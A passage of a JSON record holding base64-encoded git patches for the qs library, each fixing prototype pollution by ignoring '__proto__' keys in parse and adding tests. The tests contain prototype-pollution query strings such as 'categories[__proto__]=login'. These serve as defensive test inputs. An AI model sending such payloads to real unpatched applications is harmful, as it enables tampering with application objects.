orICAgICAgICB2YXIgcGxhaW5SZXN1bHQgPSBxcy5wYXJzZShwYXlsb2FkLCB7IGFsbG93UHJvdG90eXBlczogdHJ1ZSwgcGxhaW5PYmplY3RzOiB0cnVlIH0pOworCisgICAgICAgIHN0LmRlZXBFcXVhbCgKKyAgICAgICAgICAgIHBsYWluUmVzdWx0LAorICAgICAgICAgICAgeworICAgICAgICAgICAgICAgIF9fcHJvdG9fXzogbnVsbCwKKyAgICAgICAgICAgICAgICBjYXRlZ29yaWVzOiB7CisgICAgICAgICAgICAgICAgICAgIF9fcHJvdG9fXzogbnVsbCwKKyAgICAgICAgICAgICAgICAgICAgbGVuZ3RoOiAnNDInCisgICAgICAgICAgICAgICAgfQorICAgICAgICAgICAgfSwKKyAgICAgICAgICAgICdzaWxlbnQgW1tQcm90b3R5cGVdXSBwYXlsb2FkOiBwbGFpbiBvYmplY3RzJworICAgICAgICApOworCisgICAgICAgIHZhciBxdWVyeSA9IHFzLnBhcnNlKCdjYXRlZ29yaWVzW19fcHJvdG9fX109Y2F0cyZjYXRlZ29yaWVzW19fcHJvdG9fX109ZG9ncyZjYXRlZ29yaWVzW3NvbWVdW2pzb25dPXRvSW5qZWN0JywgeyBhbGxvd1Byb3RvdHlwZXM6IHRydWUgfSk7CisKKyAgICAgICAgc3Qubm90T2soQXJyYXkuaXNBcnJheShxdWVyeS5jYXRlZ29yaWVzKSwgJ2lzIG5vdCBhbiBhcnJheScpOworICAgICAgICBzdC5ub3RPayhxdWVyeS5jYXRlZ29yaWVzIGluc3RhbmNlb2YgQXJyYXksICdpcyBub3QgaW5zdGFuY2VvZiBhbiBhcnJheScpOworICAgICAgICBzdC5kZWVwRXF1YWwocXVlcnkuY2F0ZWdvcmllcywgeyBzb21lOiB7IGpzb246ICd0b0luamVjdCcgfSB9KTsKKyAgICAgICAgc3QuZXF1YWwoSlNPTi5zdHJpbmdpZnkocXVlcnkuY2F0ZWdvcmllcyksICd7InNvbWUiOnsianNvbiI6InRvSW5qZWN0In19JywgJ3N0cmluZ2lmaWVzIGFzIGEgbm9uLWFycmF5Jyk7CisKKyAgICAgICAgc3QuZGVlcEVxdWFsKAorICAgICAgICAgICAgcXMucGFyc2UoJ2Zvb1tfX3Byb3RvX19dW2hpZGRlbl09dmFsdWUmZm9vW2Jhcl09c3R1ZmZzJywgeyBhbGxvd1Byb3RvdHlwZXM6IHRydWUgfSksCisgICAgICAgICAgICB7CisgICAgICAgICAgICAgICAgZm9vOiB7CisgICAgICAgICAgICAgICAgICAgIGJhcjogJ3N0dWZmcycKKyAgICAgICAgICAgICAgICB9CisgICAgICAgICAgICB9LAorICAgICAgICAgICAgJ2hpZGRlbiB2YWx1ZXMnCisgICAgICAgICk7CisKKyAgICAgICAgc3QuZGVlcEVxdWFsKAorICAgICAgICAgICAgcXMucGFyc2UoJ2Zvb1tfX3Byb3RvX19dW2hpZGRlbl09dmFsdWUmZm9vW2Jhcl09c3R1ZmZzJywgeyBhbGxvd1Byb3RvdHlwZXM6IHRydWUsIHBsYWluT2JqZWN0czogdHJ1ZSB9KSwKKyAgICAgICAgICAgIHsKKyAgICAgICAgICAgICAgICBfX3Byb3RvX186IG51bGwsCisgICAgICAgICAgICAgICAgZm9vOiB7CisgICAgICAgICAgICAgICAgICAgIF9fcHJvdG9fXzogbnVsbCwKKyAgICAgICAgICAgICAgICAgICAgYmFyOiAnc3R1ZmZzJworICAgICAgICAgICAgICAgIH0KKyAgICAgICAgICAgIH0sCisgICAgICAgICAgICAnaGlkZGVuIHZhbHVlczogcGxhaW4gb2JqZWN0cycKKyAgICAgICAgKTsKKworICAgICAgICBzdC5lbmQoKTsKKyAgICB9KTsKKwogICAgIHQudGVzdCgnY2FuIHJldHVybiBudWxsIG9iamVjdHMnLCB7IHNraXA6ICFPYmplY3QuY3JlYXRlIH0sIGZ1bmN0aW9uIChzdCkgewogICAgICAgICB2YXIgZXhwZWN0ZWQgPSBPYmplY3QuY3JlYXRlKG51bGwpOwogICAgICAgICBleHBlY3RlZC5hID0gT2JqZWN0LmNyZWF0ZShudWxsKTs=", "url": "https://github.com/ljharb/qs/commit/727ef5d34605108acb3513f72d5435972ed15b68.patch" }, { "commit_message": "[PATCH] [Fix] `parse`: ignore `__proto__` keys (#428) lib/parse.js | 2 +- test/parse.js | 60 +++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 61 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSA3MzIwNTI1OTkzNjMxN2I0MGY0NDdjNWNkYjcxYzViMzQxODQ4ZTFiIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBKb3JkYW4gSGFyYmFuZCA8bGpoYXJiQGdtYWlsLmNvbT4KRGF0ZTogTW9uLCAyNyBEZWMgMjAyMSAxOToxNTo1NyAtMDgwMApTdWJqZWN0OiBbUEFUQ0hdIFtGaXhdIGBwYXJzZWA6IGlnbm9yZSBgX19wcm90b19fYCBrZXlzICgjNDI4KQoKLS0tCiBsaWIvcGFyc2UuanMgIHwgIDIgKy0KIHRlc3QvcGFyc2UuanMgfCA2MCArKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysKIDIgZmlsZXMgY2hhbmdlZCwgNjEgaW5zZXJ0aW9ucygrKSwgMSBkZWxldGlvbigtKQoKZGlmZiAtLWdpdCBhL2xpYi9wYXJzZS5qcyBiL2xpYi9wYXJzZS5qcwppbmRleCAxM2Y1NzEyOS4uOWI0YzRjZDMgMTAwNjQ0Ci0tLSBhL2xpYi9wYXJzZS5qcworKysgYi9saWIvcGFyc2UuanMKQEAgLTExNSw3ICsxMTUsNyBAQCB2YXIgcGFyc2VPYmplY3QgPSBmdW5jdGlvbiAoY2hhaW4sIHZhbCwgb3B0aW9ucykgewogICAgICAgICAgICAgKSB7CiAgICAgICAgICAgICAgICAgb2JqID0gW107CiAgICAgICAgICAgICAgICAgb2JqW2luZGV4XSA9IGxlYWY7Ci0gICAgICAgICAgICB9IGVsc2UgeworICAgICAgICAgICAgfSBlbHNlIGlmIChjbGVhblJvb3QgIT09ICdfX3Byb3RvX18nKSB7CiAgICAgICAgICAgICAgICAgb2JqW2NsZWFuUm9vdF0gPSBsZWFmOwogICAgICAgICAgICAgfQogICAgICAgICB9CmRpZmYgLS1naXQgYS90ZXN0L3BhcnNlLmpzIGIvdGVzdC9wYXJzZS5qcwppbmRleCAwNmE2MzUzNi4uNjg4N2Y0NWUgMTAwNjQ0Ci0tLSBhL3Rlc3QvcGFyc2UuanMKKysrIGIvdGVzdC9wYXJzZS5qcwpAQCAtNTMwLDYgKzUzMCw2NiBAQCB0ZXN0KCdwYXJzZSgpJywgZnVuY3Rpb24gKHQpIHsKICAgICAgICAgc3QuZW5kKCk7CiAgICAgfSk7CiAKKyAgICB0LnRlc3QoJ2R1bmRlciBwcm90byBpcyBpZ25vcmVkJywgZnVuY3Rpb24gKHN0KSB7CisgICAgICAgIHZhciBwYXlsb2FkID0gJ2NhdGVnb3JpZXNbX19wcm90b19fXT1sb2dpbiZjYXRlZ29yaWVzW19fcHJvdG9fX10mY2F0ZWdvcmllc1tsZW5ndGhdPTQyJzsKKyAgICAgICAgdmFyIHJlc3VsdCA9IHFzLnBhcnNlKHBheWxvYWQsIHsgYWxsb3dQcm90b3R5cGVzOiB0cnVlIH0pOworCisgICAgICAgIHN0LmRlZXBFcXVhbCgKKyAgICAgICAgICAgIHJlc3VsdCwKKyAgICAgICAgICAgIHsKKyAgICAgICAgICAgICAgICBjYXRlZ29yaWVzOiB7CisgICAgICAgICAgICAgICAgICAgIGxlbmd0aDogJzQyJworICAgICAgICAgICAgICAgIH0KKyAgICAgICAgICAgIH0sCisgICAgICAgICAgICAnc2lsZW50IFtbUHJvdG90eXBlXV0gcGF5bG9hZCcKKyAgICAgICAgKTsKKworICAgICAgICB2YXIgcGxhaW5SZXN1bHQgPSBxcy5wYXJzZShwYXlsb2FkLCB7IGFsbG93UHJvdG90eXBlczogdHJ1ZSwgcGxhaW5PYmplY3RzOiB0cnVlIH0pOworCisgICAgICAgIHN0LmRlZXBFcXVhbCgKKyAgICAgICAgICAgIHBsYWluUmVzdWx0LAorICAgICAgICAgICAgeworICAgICAgICAgICAgICAgIF9fcHJvdG9fXzogbnVsbCwKKyAgICAgICAgICAgICAgICBjYXRlZ29yaWVzOiB7CisgICAgICAgICAgICAgICAgICAgIF9fcHJvdG9fXzogbnVsbCwKKyAgICAgICAgICAgICAgICAgICAgbGVuZ3RoOiAnNDInCisgICAgICAgICAgICAgICAgfQorICAgICAgICAgICAgfSwKKyAgICAgICAgICAgICdzaWxlbnQgW1tQcm90b3R5cGVdXSBwYXlsb2FkOiBwbGFpbiBvYmplY3RzJworICAgICAgICApOworCisgICAgICAgIHZhciBxdWVyeSA9IHFzLnBhcnNlKCdjYXRlZ29yaWVzW19fcHJvdG9fX109Y2F0cyZjYXRlZ29yaWVzW19fcHJvdG9fX109ZG9ncyZjYXRlZ29yaWVzW3NvbWVdW2pzb25dPXRvSW5qZWN0JywgeyBhbGxvd1Byb3RvdHlwZXM6IHRydWUgfSk7CisKKyAgICAgICAgc3Qubm90T2soQXJyYXkuaXNBcnJheShxdWVyeS5jYXRlZ29yaWVzKSwgJ2lzIG5vdCBhbiBhcnJheScpOworICAgICAgICBzdC5ub3RPayhxdWVyeS5jYXRlZ29yaWVzIGluc3RhbmNlb2YgQXJyYXksICdpcyBub3QgaW5zdGFuY2VvZiBhbiBhcnJheScpOworICAgICAgICBzdC5kZWVwRXF1YWwocXVlcnkuY2F0ZWdvcmllcywgeyBzb21lOiB7IGpzb246ICd0b0luamVjdCcgfSB9KTsKKyAgICAgICAgc3QuZXF1YWwoSlNPTi5zdHJpbmdpZnkocXVlcnkuY2F0ZWdvcmllcyksICd7InNvbWUiOnsianNvbiI6InRvSW5qZWN0In19JywgJ3N0cmluZ2lmaWVzIGFzIGEgbm9uLWFycmF5Jyk7CisKKyAgICAgICAgc3QuZGVlcEVxdWFsKAorICAgICAgICAgICAgcXMucGFyc2UoJ2Zvb1tfX3Byb3RvX19dW2hpZGRlbl09dmFsdWUmZm9vW2Jhcl09c3R1ZmZzJywgeyBhbGxvd1Byb3RvdHlwZXM6IHRydWUgfSksCisgICAgICAgICAgICB7CisgICAgICAgICAgICAgICAgZm9vOiB7CisgICAgICAgICAgICAgICAgICAgIGJhcjogJ3N0dWZmcycKKyAgICAgICAgICAgICAgICB9CisgICAgICAgICAgICB9LAorICAgICAgICAgICAgJ2hpZGRlbiB2YWx1ZXMnCisgICAgICAgICk7CisKKyAgICAgICAgc3QuZGVlcEVxdWFsKAorICAgICAgICAgICAgcXMucGFyc2UoJ2Zvb1tfX3Byb3RvX19dW2hpZGRlbl09dmFsdWUmZm9vW2Jhcl09c3R1ZmZzJywgeyBhbGxvd1Byb3RvdHlwZXM6IHRydWUsIHBsYWluT2JqZWN0czogdHJ1ZSB9KSwKKyAgICAgICAgICAgIHsKKyAgICAgICAgICAgICAgICBfX3Byb3RvX186IG51bGwsCisgICAgICAgICAgICAgICAgZm9vOiB7CisgICAgICAgICAgICAgICAgICAgIF9fcHJvdG9fXzogbnVsbCwKKyAgICAgICAgICAgICAgICAgICAgYmFyOiAnc3R1ZmZzJworICAgICAgICAgICAgICAgIH0KKyAgICAgICAgICAgIH0sCisgICAgICAgICAgICAnaGlkZGVuIHZhbHVlczogcGxhaW4gb2JqZWN0cycKKyAgICAgICAgKTsKKworICAgICAgICBzdC5lbmQoKTsKKyAgICB9KTsKKwogICAgIHQudGVzdCgnY2FuIHJldHVybiBudWxsIG9iamVjdHMnLCB7IHNraXA6ICFPYmplY3QuY3JlYXRlIH0sIGZ1bmN0aW9uIChzdCkgewogICAgICAgICB2YXIgZXhwZWN0ZWQgPSBPYmplY3QuY3JlYXRlKG51bGwpOwogICAgICAgICBleHBlY3RlZC5hID0gT2JqZWN0LmNyZWF0ZShudWxsKTs=", "url": "https://github.com/ljharb/qs/commit/73205259936317b40f447c5cdb71c5b341848e1b.patch" }, { "commit_message": "[PATCH] [Fix] `parse`: ignore `__proto__` keys lib/parse.js | 2 +- test/parse.js | 60 +++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 61 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSA4YjRjYzE0Y2RhOTRhNWM4OTM0MWI3N2U1ZmU0MzVlYzZjNDFiZTJkIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBKb3JkYW4gSGFyYmFuZCA8bGpoYXJiQGdtYWlsLmNvbT4KRGF0ZTogTW9uLCAyNyBEZWMgMjAyMSAxOToxNTo1NyAtMDgwMApTdWJqZWN0OiBbUEFUQ0hdIFtGaXhdIGBwYXJzZWA6IGlnbm9yZSBgX19wcm90b19fYCBrZXlzCgotLS0KIGxpYi9wYXJzZS5qcyAgfCAgMiArLQogdGVzdC9wYXJzZS5qcyB8IDYwICsrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKwogMiBmaWxlcyBjaGFuZ2VkLCA2MSBpbnNlcnRpb25zKCspLCAxIGRlbGV0aW9uKC0pCgpkaWZmIC0tZ2l0IGEvbGliL3BhcnNlLmpzIGIvbGliL3BhcnNlLmpzCmluZGV4IGM4MzMzMTVjLi5hNGFjNGZhMCAxMDA2NDQKLS0tIGEvbGliL3BhcnNlLmpzCisrKyBiL2xpYi9wYXJzZS5qcwpAQCAtMTM2LDcgKzEzNiw3IEBAIHZhciBwYXJzZU9iamVjdCA9IGZ1bmN0aW9uIChjaGFpbiwgdmFsLCBvcHRpb25zLCB2YWx1ZXNQYXJzZWQpIHsKICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgIG9iaiA9IFtdOwogICAgICAgICAgICAgICAgIG9ialtpbmRleF0gPSBsZWFmOwotICAgICAgICAgICAgfSBlbHNlIHsKKyAgICAgICAgICAgIH0gZWxzZSBpZiAoY2xlYW5Sb290ICE9PSAnX19wcm90b19fJykgewogICAgICAgICAgICAgICAgIG9ialtjbGVhblJvb3RdID0gbGVhZjsKICAgICAgICAgICAgIH0KICAgICAgICAgfQpkaWZmIC0tZ2l0IGEvdGVzdC9wYXJzZS5qcyBiL3Rlc3QvcGFyc2UuanMKaW5kZXggN2EzY2ZkZWYuLjdkNjEwMjNlIDEwMDY0NAotLS0gYS90ZXN0L3BhcnNlLmpzCisrKyBiL3Rlc3QvcGFyc2UuanMKQEAgLTYyOSw2ICs2MjksNjYgQEAgdGVzdCgncGFyc2UoKScsIGZ1bmN0aW9uICh0KSB7CiAgICAgICAgIHN0LmVuZCgpOwogICAgIH0pOwogCisgICAgdC50ZXN0KCdkdW5kZXIgcHJvdG8gaXMgaWdub3JlZCcsIGZ1bmN0aW9uIChzdCkgeworICAgICAgICB2YXIgcGF5bG9hZCA9ICdjYXRlZ29yaWVzW19fcHJvdG9fX109bG9naW4mY2F0ZWdvcmllc1tfX3Byb3RvX19dJmNhdGVnb3JpZXNbbGVuZ3RoXT00Mic7CisgICAgICAgIHZhciByZXN1bHQgPSBxcy5wYXJzZShwYXlsb2FkLCB7IGFsbG93UHJvdG90eXBlczogdHJ1ZSB9KTsKKworICAgICAgICBzdC5kZWVwRXF1YWwoCisgICAgICAgICAgICByZXN1bHQsCisgICAgICAgICAgICB7CisgICAgICAgICAgICAgICAgY2F0ZWdvcmllczogeworICAgICAgICAgICAgICAgICAgICBsZW5ndGg6ICc0MicKKyAgICAgICAgICAgICAgICB9CisgICAgICAgICAgICB9LAorICAgICAgICAgICAgJ3NpbGVudCBbW1Byb3RvdHlwZV1dIHBheWxvYWQnCisgICAgICAgICk7CisKKyAgICAgICAgdmFyIHBsYWluUmVzdWx0ID0gcXMucGFyc2UocGF5bG9hZCwgeyBhbGxvd1Byb3RvdHlwZXM6IHRydWUsIHBsYWluT2JqZWN0czogdHJ1ZSB9KTsKKworICAgICAgICBzdC5kZWVwRXF1YWwoCisgICAgICAgICAgICBwbGFpblJlc3VsdCwKKyAgICAgICAgICAgIHsKKyAgICAgICAgICAgICAgICBfX3Byb3RvX186IG51bGwsCisgICAgICAgICAgICAgICAgY2F0ZWdvcmllczogeworICAgICAgICAgICAgICAgICAgICBfX3Byb3RvX186IG51bGwsCisgICAgICAgICAgICAgICAgICAgIGxlbmd0aDogJzQyJworICAgICAgICAgICAgICAgIH0KKyAgICAgICAgICAgIH0sCisgICAgICAgICAgICAnc2lsZW50IFtbUHJvdG90eXBlXV0gcGF5bG9hZDogcGxhaW4gb2JqZWN0cycKKyAgICAgICAgKTsKKworICAgICAgICB2YXIgcXVlcnkgPSBxcy5wYXJzZSgnY2F0ZWdvcmllc1tfX3Byb3RvX19dPWNhdHMmY2F0ZWdvcmllc1tfX3Byb3RvX19dPWRvZ3MmY2F0ZWdvcmllc1tzb21lXVtqc29uXT10b0luamVjdCcsIHsgYWxsb3dQcm90b3R5cGVzOiB0cnVlIH0pOworCisgICAgICAgIHN0Lm5vdE9rKEFycmF5LmlzQXJyYXkocXVlcnkuY2F0ZWdvcmllcyksICdpcyBub3QgYW4gYXJyYXknKTsKKyAgICAgICAgc3Qubm90T2socXVlcnkuY2F0ZWdvcmllcyBpbnN0YW5jZW9mIEFycmF5LCAnaXMgbm90IGluc3RhbmNlb2YgYW4gYXJyYXknKTsKKyAgICAgICAgc3QuZGVlcEVxdWFsKHF1ZXJ5LmNhdGVnb3JpZXMsIHsgc29tZTogeyBqc29uOiAndG9JbmplY3QnIH0gfSk7CisgICAgICAgIHN0LmVxdWFsKEpTT04uc3RyaW5naWZ5KHF1ZXJ5LmNhdGVnb3JpZXMpLCAneyJzb21lIjp7Impzb24iOiJ0b0luamVjdCJ9fScsICdzdHJpbmdpZmllcyBhcyBhIG5vbi1hcnJheScpOworCisgICAgICAgIHN0LmRlZXBFcXVhbCgKKyAgICAgICAgICAgIHFzLnBhcnNlKCdmb29bX19wcm90b19fXVtoaWRkZW5dPXZhbHVlJmZvb1tiYXJdPXN0dWZmcycsIHsgYWxsb3dQcm90b3R5cGVzOiB0cnVlIH0pLAorICAgICAgICAgICAgeworICAgICAgICAgICAgICAgIGZvbzogeworICAgICAgICAgICAgICAgICAgICBiYXI6ICdzdHVmZnMnCisgICAgICAgICAgICAgICAgfQorICAgICAgICAgICAgfSwKKyAgICAgICAgICAgICdoaWRkZW4gdmFsdWVzJworICAgICAgICApOworCisgICAgICAgIHN0LmRlZXBFcXVhbCgKKyAgICAgICAgICAgIHFzLnBhcnNlKCdmb29bX19wcm90b19fXVtoaWRkZW5dPXZhbHVlJmZvb1tiYXJdPXN0dWZmcycsIHsgYWxsb3dQcm90b3R5cGVzOiB0cnVlLCBwbGFpbk9iamVjdHM6IHRydWUgfSksCisgICAgICAgICAgICB7CisgICAgICAgICAgICAgICAgX19wcm90b19fOiBudWxsLAorICAgICAgICAgICAgICAgIGZvbzogeworICAgICAgICAgICAgICAgICAgICBfX3Byb3RvX186IG51bGwsCisgICAgICAgICAgICAgICAgICAgIGJhcjogJ3N0dWZmcycKKyAgICAgICAgICAgICAgICB9CisgICAgICAgICAgICB9LAorICAgICAgICAgICAgJ2hpZGRlbiB2YWx1ZXM6IHBsYWluIG9iamVjdHMnCisgICAgICAgICk7CisKKyAgICAgICAgc3QuZW5kKCk7CisgICAgfSk7CisKICAgICB0LnRlc3QoJ2NhbiByZXR1cm4gbnVsbCBvYmplY3RzJywgeyBza2lwOiAhT2JqZWN0LmNyZWF0ZSB9LCBmdW5jdGlvbiAoc3QpIHsKICAgICAgICAgdmFyIGV4cGVjdGVkID0gT2JqZWN0LmNyZWF0ZShudWxsKTsKICAgICAgICAgZXhwZWN0ZWQuYSA9IE9iamVjdC5jcmVhdGUobnVsbCk7", "url": "https://github.com/ljharb/qs/commit/8b4cc14cda94a5c89341b77e5fe435ec6c41be2d.patch" }, { "commit_message": "[PATCH] [Fix] `parse`: ignore `__proto__` keys (#428) lib/parse.js | 2 +- test/parse.js | 60 +++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 61 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSBiYTI0ZTc0ZGQxNzkzMWY4MjVhZGI1MmY1NjMzZTQ4MjkzYjU4NGUxIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBKb3JkYW4gSGFyYmFuZCA8bGpoYXJiQGdtYWlsLmNvbT4KRGF0ZTogTW9uLCAyNyBEZWMgMjAyMSAxOToxNTo1NyAtMDgwMApTdWJqZWN0OiBbUEFUQ0hdIFtGaXhdIGBwYXJzZWA6IGlnbm9yZSBgX19wcm90b19fYCBrZXlzICgjNDI4KQoKLS0tCiBsaWIvcGFyc2UuanMgIHwgIDIgKy0KIHRlc3QvcGFyc2UuanMgfCA2MCArKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysKIDIgZmlsZXMgY2hhbmdlZCwgNjEgaW5zZXJ0aW9ucygrKSwgMSBkZWxldGlvbigtKQoKZGlmZiAtLWdpdCBhL2xpYi9wYXJzZS5qcyBiL2xpYi9wYXJzZS5qcwppbmRleCA3ZWYwOWE4NS4uNGJjNWUyMTQgMTAwNjQ0Ci0tLSBhL2xpYi9wYXJzZS5qcworKysgYi9saWIvcGFyc2UuanMKQEAgLTY4LDcgKzY4LDcgQEAgdmFyIHBhcnNlT2JqZWN0ID0gZnVuY3Rpb24gcGFyc2VPYmplY3QoY2hhaW4sIHZhbCwgb3B0aW9ucykgewogICAgICAgICApIHsKICAgICAgICAgICAgIG9iaiA9IFtdOwogICAgICAgICAgICAgb2JqW2luZGV4XSA9IHBhcnNlT2JqZWN0KGNoYWluLCB2YWwsIG9wdGlvbnMpOwotICAgICAgICB9IGVsc2UgeworICAgICAgICB9IGVsc2UgaWYgKGNsZWFuUm9vdCAhPT0gJ19fcHJvdG9fXycpIHsKICAgICAgICAgICAgIG9ialtjbGVhblJvb3RdID0gcGFyc2VPYmplY3QoY2hhaW4sIHZhbCwgb3B0aW9ucyk7CiAgICAgICAgIH0KICAgICB9CmRpZmYgLS1naXQgYS90ZXN0L3BhcnNlLmpzIGIvdGVzdC9wYXJzZS5qcwppbmRleCA4N2UwOTcwNy4uOWVlYjllMmQgMTAwNjQ0Ci0tLSBhL3Rlc3QvcGFyc2UuanMKKysrIGIvdGVzdC9wYXJzZS5qcwpAQCAtNDc2LDYgKzQ3Niw2NiBAQCB0ZXN0KCdwYXJzZSgpJywgZnVuY3Rpb24gKHQpIHsKICAgICAgICAgc3QuZW5kKCk7CiAgICAgfSk7CiAKKyAgICB0LnRlc3QoJ2R1bmRlciBwcm90byBpcyBpZ25vcmVkJywgZnVuY3Rpb24gKHN0KSB7CisgICAgICAgIHZhciBwYXlsb2FkID0gJ2NhdGVnb3JpZXNbX19wcm90b19fXT1sb2dpbiZjYXRlZ29yaWVzW19fcHJvdG9fX10mY2F0ZWdvcmllc1tsZW5ndGhdPTQyJzsKKyAgICAgICAgdmFyIHJlc3VsdCA9IHFzLnBhcnNlKHBheWxvYWQsIHsgYWxsb3dQcm90b3R5cGVzOiB0cnVlIH0pOworCisgICAgICAgIHN0LmRlZXBFcXVhbCgKKyAgICAgICAgICAgIHJlc3VsdCwKKyAgICAgICAgICAgIHsKKyAgICAgICAgICAgICAgICBjYXRlZ29yaWVzOiB7CisgICAgICAgICAgICAgICAgICAgIGxlbmd0aDogJzQyJworICAgICAgICAgICAgICAgIH0KKyAgICAgICAgICAgIH0sCisgICAgICAgICAgICAnc2lsZW50IFtbUHJvdG90eXBlXV0gcGF5bG9hZCcKKyAgICAgICAgKTsKKworICAgICAgICB2YXIgcGxhaW5SZXN1bHQgPSBxcy5wYXJzZShwYXlsb2FkLCB7IGFsbG93UHJvdG90eXBlczogdHJ1ZSwgcGxhaW5PYmplY3RzOiB0cnVlIH0pOworCisgICAgICAgIHN0LmRlZXBFcXVhbCgKKyAgICAgICAgICAgIHBsYWluUmVzdWx0LAorICAgICAgICAgICAgeworICAgICAgICAgICAgICAgIF9fcHJvdG9fXzogbnVsbCwKKyAgICAgICAgICAgICAgICBjYXRlZ29yaWVzOiB7CisgICAgICAgICAgICAgICAgICAgIF9fcHJvdG9fXzogbnVsbCwKKyAgICAgICAgICAgICAgICAgICAgbGVuZ3RoOiAnNDInCisgICAgICAgICAgICAgICAgfQorICAgICAgICAgICAgfSwKKyAgICAgICAgICAgICdzaWxlbnQgW1tQcm90b3R5cGVdXSBwYXlsb2FkOiBwbGFpbiBvYmplY3RzJworICAgICAgICApOworCisgICAgICAgIHZhciBxdWVyeSA9IHFzLnBhcnNlKCdjYXRlZ29yaWVzW19fcHJvdG9fX109Y2F0cyZjYXRlZ29yaWVzW19fcHJvdG9fX109ZG9ncyZjYXRlZ29yaWVzW3NvbWVdW2pzb25dPXRvSW5qZWN0JywgeyBhbGxvd1Byb3RvdHlwZXM6IHRydWUgfSk7CisKKyAgICAgICAgc3Qubm90T2soQXJyYXkuaXNBcnJheShxdWVyeS5jYXRlZ29yaWVzKSwgJ2lzIG5vdCBhbiBhcnJheScpOworICAgICAgICBzdC5ub3RPayhxdWVyeS5jYXRlZ29yaWVzIGluc3RhbmNlb2YgQXJyYXksICdpcyBub3QgaW5zdGFuY2VvZiBhbiBhcnJheScpOworICAgICAgICBzdC5kZWVwRXF1YWwocXVlcnkuY2F0ZWdvcmllcywgeyBzb21lOiB7IGpzb246ICd0b0luamVjdCcgfSB9KTsKKyAgICAgICAgc3QuZXF1YWwoSlNPTi5zdHJpbmdpZnkocXVlcnkuY2F0ZWdvcmllcyksICd7InNvbWUiOnsianNvbiI6InRvSW5qZWN0In19JywgJ3N0cmluZ2lmaWVzIGFzIGEgbm9uLWFycmF5Jyk7CisKKyAgICAgICAgc3QuZGVlcEVxdWFsKAorICAgICAgICAgICAgcXMucGFyc2UoJ2Zvb1tfX3Byb3RvX19dW2hpZGRlbl09dmFsdWUmZm9vW2Jhcl09c3R1ZmZzJywgeyBhbGxvd1Byb3RvdHlwZXM6IHRydWUgfSksCisgICAgICAgICAgICB7CisgICAgICAgICAgICAgICAgZm9vOiB7CisgICAgICAgICAgICAgICAgICAgIGJhcjogJ3N0dWZmcycKKyAgICAgICAgICAgICAgICB9CisgICAgICAgICAgICB9LAorICAgICAgICAgICAgJ2hpZGRlbiB2YWx1ZXMnCisgICAgICAgICk7CisKKyAgICAgICAgc3QuZGVlcEVxdWFsKAorICAgICAgICAgICAgcXMucGFyc2UoJ2Zvb1tfX3Byb3RvX19dW2hpZGRlbl09dmFsdWUmZm9vW2Jhcl09c3R1ZmZzJywgeyBhbGxvd1Byb3RvdHlwZXM6IHRydWUsIHBsYWluT2JqZWN0czogdHJ1ZSB9KSwKKyAgICAgICAgICAgIHsKKyAgICAgICAgICAgICAgICBfX3Byb3RvX186IG51bGwsCisgICAgICAgICAgICAgICAgZm9vOiB7CisgICAgICAgICAgICAgICAgICAgIF9fcHJvdG9fXzogbnVsbCwKKyAgICAgICAgICAgICAgICAgICAgYmFyOiAnc3R1ZmZzJworICAgICAgICAgICAgICAgIH0KKyAgICAgICAgICAgIH0sCisgICAgICAgICAgICAnaGlkZGVuIHZhbHVlczogcGxhaW4gb2JqZWN0cycKKyAgICAgICAgKTsKKworICAgICAgICBzdC5lbmQoKTsKKyAgICB9KTsKKwogICAgIHQudGVzdCgnY2FuIHJldHVybiBudWxsIG9iamVjdHMnLCB7IHNraXA6ICFPYmplY3QuY3JlYXRlIH0sIGZ1bmN0aW9uIChzdCkgewogICAgICAgICB2YXIgZXhwZWN0ZWQgPSBPYmplY3QuY3JlYXRlKG51bGwpOwogICAgICAgICBleHBlY3RlZC5hID0gT2JqZWN0LmNyZWF0ZShudWxsKTs=", "url": "https://github.com/ljharb/qs/commit/ba24e74dd17931f825adb52f5633e48293b584e1.patch" }, { "commit_message": "[PATCH] [Fix] `parse`: ignore `__proto__` keys (#428) lib/parse.js | 2 +- test/parse.js | 60 +++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 61 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSBlNzk5YmE1N2U1NzNhMzBjMTRiNjdjMTg4OWM3YzA0ZDUwOGI5MTA1IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBKb3JkYW4gSGFyYmFuZCA8bGpoYXJiQGdtYWlsLmNvbT4KRGF0ZTogTW9uLCAyNyBEZWMgMjAyMSAxOToxNTo1NyAtMDgwMApTdWJqZWN0OiBbUEFUQ0hdIFtGaXhdIGBwYXJzZWA6IGlnbm9yZSBgX19wcm90b19fYCBrZXlzICgjNDI4KQoKLS0tCiBsaWIvcGFyc2UuanMgIHwgIDIgKy0KIHRlc3QvcGFyc2UuanMgfCA2MCArKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysKIDIgZmlsZXMgY2hhbmdlZCwgNjEgaW5zZXJ0aW9ucygrKSwgMSBkZWxldGlvbigtKQoKZGlmZiAtLWdpdCBhL2xpYi9wYXJzZS5qcyBiL2xpYi9wYXJzZS5qcwppbmRleCA1NTM0OThiNC4uNjk4YTMxMGQgMTAwNjQ0Ci0tLSBhL2xpYi9wYXJzZS5qcworKysgYi9saWIvcGFyc2UuanMKQEAgLTEzNSw3ICsxMzUsNyBAQCB2YXIgcGFyc2VPYmplY3QgPSBmdW5jdGlvbiAoY2hhaW4sIHZhbCwgb3B0aW9ucywgdmFsdWVzUGFyc2VkKSB7CiAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICBvYmogPSBbXTsKICAgICAgICAgICAgICAgICBvYmpbaW5kZXhdID0gbGVhZjsKLSAgICAgICAgICAgIH